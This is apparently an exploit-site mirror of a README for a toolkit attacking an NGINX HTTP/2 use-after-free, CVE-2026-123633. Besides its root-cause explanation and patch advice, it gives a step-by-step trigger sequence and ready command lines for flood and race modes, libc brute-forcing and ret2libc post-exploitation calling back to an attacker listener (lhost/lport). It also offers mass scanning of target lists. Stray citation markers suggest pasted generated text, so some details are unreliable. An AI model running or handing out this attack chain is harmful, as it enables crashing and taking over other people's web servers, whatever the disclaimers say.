Skip to content
Exploit for Use After Free in F5 Dos

Exploit for Use After Free in F5 Dos

Sploitus • November 23, 2026

[![Python 3.8+](

[![CVSS](

[![Author](

[![NGINX](

> **Ethical Use Only - Authorized Tests**

> This repository provides tools for **authorized security professionals, red teams, and blue teams** only.

> Unauthorized access to computer systems is illegal under **CFAA (US), Computer Misuse Act (UK), TCK 243/244 (Turkey), and similar laws worldwide.**

**CVE-2026-123633** is a critical unauthenticated Use-After-Free (CWE-416) in **NGINX**'s HTTP/2 connection handling. It allows an unauthenticated attacker to crash worker processes and, under specific conditions, achieve remote code execution. CVSS 4.0 score: **9.2 (Critical)**. This flaw is part of a coordinated disclosure group dubbed "**NGINX2Root**" by researchers, alongside four other critical memory-corruption bugs (CVE-2026-123007, CVE-2026-123634, CVE-2026-121810, and CVE-2026-113425) all patched on 18 November 2026 [citation:2][citation:8].

The vulnerability affects NGINX Open Source **1.19.7 through 1.30.6** (stable branch) and **1.31.0 through 1.31.8** (mainline branch), as well as NGINX Plus **R33 and later** [citation:2][citation:5]. The root cause is a lifecycle defect introduced by commit `76672e650`, which was originally intended as a DoS mitigation for clients that open a connection and stall. That commit marked connections as "reusable" once a partial frame was read, but failed to clear this flag when a stream was subsequently created. Under `worker_connections` pressure, NGINX's connection draining logic can then close a connection that still has an active stream, freeing its memory pool while the event handler still holds a pointer [citation:3].

### Why This Matters (and How It Compares to Other NGINX Bugs)

Unlike typical web server memory corruption bugs that require malformed input, this flaw exploits **legitimate protocol behavior** (partial frames, connection reuse) combined with **resource exhaustion**. It is not a simple buffer overflow; it is a race condition that manifests only when the server is near its connection limit. This makes it harder to detect via simple fuzzing but also harder to exploit reliably without precise timing.

- **CVE-2026-123007** (integer underflow in flow control) affects **any** HTTP/2 server, even static content servers, and is easier to trigger [citation:2][citation:8].

- **CVE-2026-123633** (this one) specifically requires **proxying to a backend** (`proxy_pass`), because the UAF is triggered during the upstream connection allocation path (`ngx_event_connect_peer`) [citation:3].

- The **PHP-FPM request smuggling bug** (CVE-2026-129289) from our project also exploits connection reuse, but at the FastCGI layer rather than HTTP/2. Both the theme of "leftover state on reused connections," but the mechanisms are entirely different [citation:4][citation:15].

1. **Partial HEADERS** - The attacker opens an HTTP/2 connection and sends only the first byte of a HEADERS frame. NGINX marks the connection as reusable (via `ngx_reusable_connection(c, 1)`).

2. **Stream Creation** - The attacker sends the remainder of the HEADERS frame. `ngx_http_v2_create_stream` creates a stream on that connection but **does not clear the reusable flag** [citation:3].

3. **Connection Exhaustion** - The attacker opens many additional connections to fill the `worker_connections` pool.

4. **Drain Trigger** - A further connection request (or an upstream `proxy_pass` attempt) triggers `ngx_drain_connections()`, which selects the UAF connection for draining.

5. **Use-After-Free** - Draining a connection with an active stream attempts to send a GOAWAY frame. The client has already reset the connection, so the send fails, and NGINX immediately finalizes the connection and destroys its pool (`ngx_destroy_pool`). The call stack then unwinds to `ngx_event_connect_peer`, which reads the just-freed request structure [citation:3].

6. **Impact** - Worker crash (SIGSEGV) for DoS, or—if ASLR is disabled or bypassed—arbitrary code execution with worker privileges [citation:1][citation:5].

- **NGINX Open Source** - `1.19.7` to `1.30.6` (stable), `1.31.0` to `1.31.8` (mainline)

- **NGINX Plus** - `R33` and later, including `R37` branches before `37.0.7.1` / `37.2.0.1` [citation:2]

- **Downstream** - Kubernetes ingress controllers, reverse proxies, and CDN edge nodes built on affected NGINX versions [citation:8]

- Upgrade to **NGINX 1.30.7** (stable) or **1.31.9** (mainline) [citation:2][citation:6].

- Disable HTTP/2 on affected listeners (`http2 on` → remove or `http2 off`) [citation:11].

- Restrict `worker_connections` to reduce the attack surface (does not fully mitigate).

- Monitor for repeated partial HEADERS frames and connection pool exhaustion.

| **`exploit/exploit.py`** | Full red team toolkit with HTTP/2 probing, flood trigger, RST_STREAM race, crash-oracle libc brute-force, and ret2libc post-exploitation via fake connection reclaim. | Red teams / authorized pentesters (ethical only) |

| **`poc/poc.py`** | Safe proof of concept. Sends a benign partial HEADERS frame and verifies HTTP/2 handshake. No trigger, no RCE. | Researchers / blue teams |

| **`safechecker/safechecker.py`** | Non-intrusive exposure scanner. Detects HTTP/2 support via ALPN and h2c upgrade, verifies handshake, produces JSON/CSV reports. Never sends a trigger. | Blue teams / security auditors |

| Feature | `exploit.py` | `poc.py` | `safechecker.py` |

|---------|:------------:|:--------:|:----------------:|

| HTTP/2 ALPN detection | [+] | [+] | [+] |

| h2c upgrade detection | [+] | [+] | [+] |

| Handshake validation | [+] | [+] | [+] |

| Partial HEADERS probe | [-] | [+] | [-] |

| Crash-oracle libc brute-force | [+] | [-] | [-] |

| ret2libc post-exploitation | [+] | [-] | [-] |

| Mass scanning (multi-thread) | [+] | [-] | [+] |

| File / target list input | [+] | [-] | [+] |

| Non-intrusive (safe) mode | [-] | [+] | [+] |

| **Blue Team** - verifying if your NGINX is exposed | `safechecker.py` |

| **Security Audit** - non-intrusive HTTP/2 assessment | `safechecker.py` |

| **Compliance / Reporting** - HTTP/2 inventory | `safechecker.py` |

| **Red Team** - authorized penetration testing with trigger | `exploit.py` |

| **Bug Bounty** - responsible disclosure testing | `poc.py` |

| **Mass Scanning** - checking many endpoints | `safechecker.py` |

| **Incident Response** - checking if systems are compromised | `safechecker.py` |

| **Post-Exploitation** - ret2libc chain | `exploit.py --mode post-exploit` |

git clone

| 1 | Quick exposure check | `python3 safechecker/safechecker.py --target example.com:443` |

| 2 | Detailed scan with report | `python3 safechecker/safechecker.py --file targets.txt --threads 20 --output audit.csv` |

| 3 | Safe PoC probe | `python3 poc/poc.py --target example.com:443 --json poc.json` |

| 4 | HTTP/2 handshake check | `python3 exploit/exploit.py --mode probe --target example.com:443` |

| 5 | Flood trigger | `python3 exploit/exploit.py --mode flood --target example.com:443 --streams 30` |

| 6 | RST_STREAM race | `python3 exploit/exploit.py --mode rst-race --target example.com:443` |

| 7 | Crash-oracle libc brute-force | `python3 exploit/exploit.py --mode brute-libc --target example.com:443 --lhost 1.2.3.4 --lport 4444` |

| 8 | ret2libc post-exploitation | `python3 exploit/exploit.py --mode post-exploit --target example.com:443 --gadget-addr 0x7f... --lhost 1.2.3.4 --lport 4444` |

| 9 | Full chain (flood + race) | `python3 exploit/exploit.py --mode flood --target example.com:443 --streams 30 && python3 exploit/exploit.py --mode rst-race --target example.com:443` |

| 10 | JSON report for all modules | `python3 exploit/exploit.py --mode probe --target example.com:443 --json out.json` |

The exploit leverages the following HTTP/2 frames and steps:

| Step | Method | Endpoint | Description |

|------|--------|----------|-------------|

| **1. Port Check** | TCP | `host:443` | Verify the target port is reachable |

| **2. ALPN Check** | TLS | `h2` | Verify HTTP/2 support via ALPN |

| **3. Handshake** | H2 | `SETTINGS` | Exchange SETTINGS frames, verify server ACK |

| **4. Partial HEADERS** | H2 | `HEADERS (partial)` | Send only the first byte of a HEADERS frame without END_HEADERS |

| **5. Flood** | H2 | `HEADERS × N` | Open many streams to exhaust `worker_connections` |

| **6. Drain Trigger** | H2 | `new connection` | Force `ngx_drain_connections()` to close the UAF connection |

| **7. Trigger** | H2 | `DATA` | Send a DATA frame on the UAF connection to invoke the freed handler |

| **8. Companion** | H2 | `RST_STREAM + WINDOW_UPDATE × 32` | Trigger CVE-2026-123007 for a more reliable crash |

flags: 0x0 (no END_HEADERS, no END_STREAM)

payload: HPACK-encoded headers (only first byte sent)

- **Only use these tools on systems you own or have explicit written permission to test.**

- Unauthorized access is illegal and unethical.

- The authors are not responsible for any misuse.

- Always follow your country's laws and regulations.

This software is provided for **educational purposes and authorized security testing only**.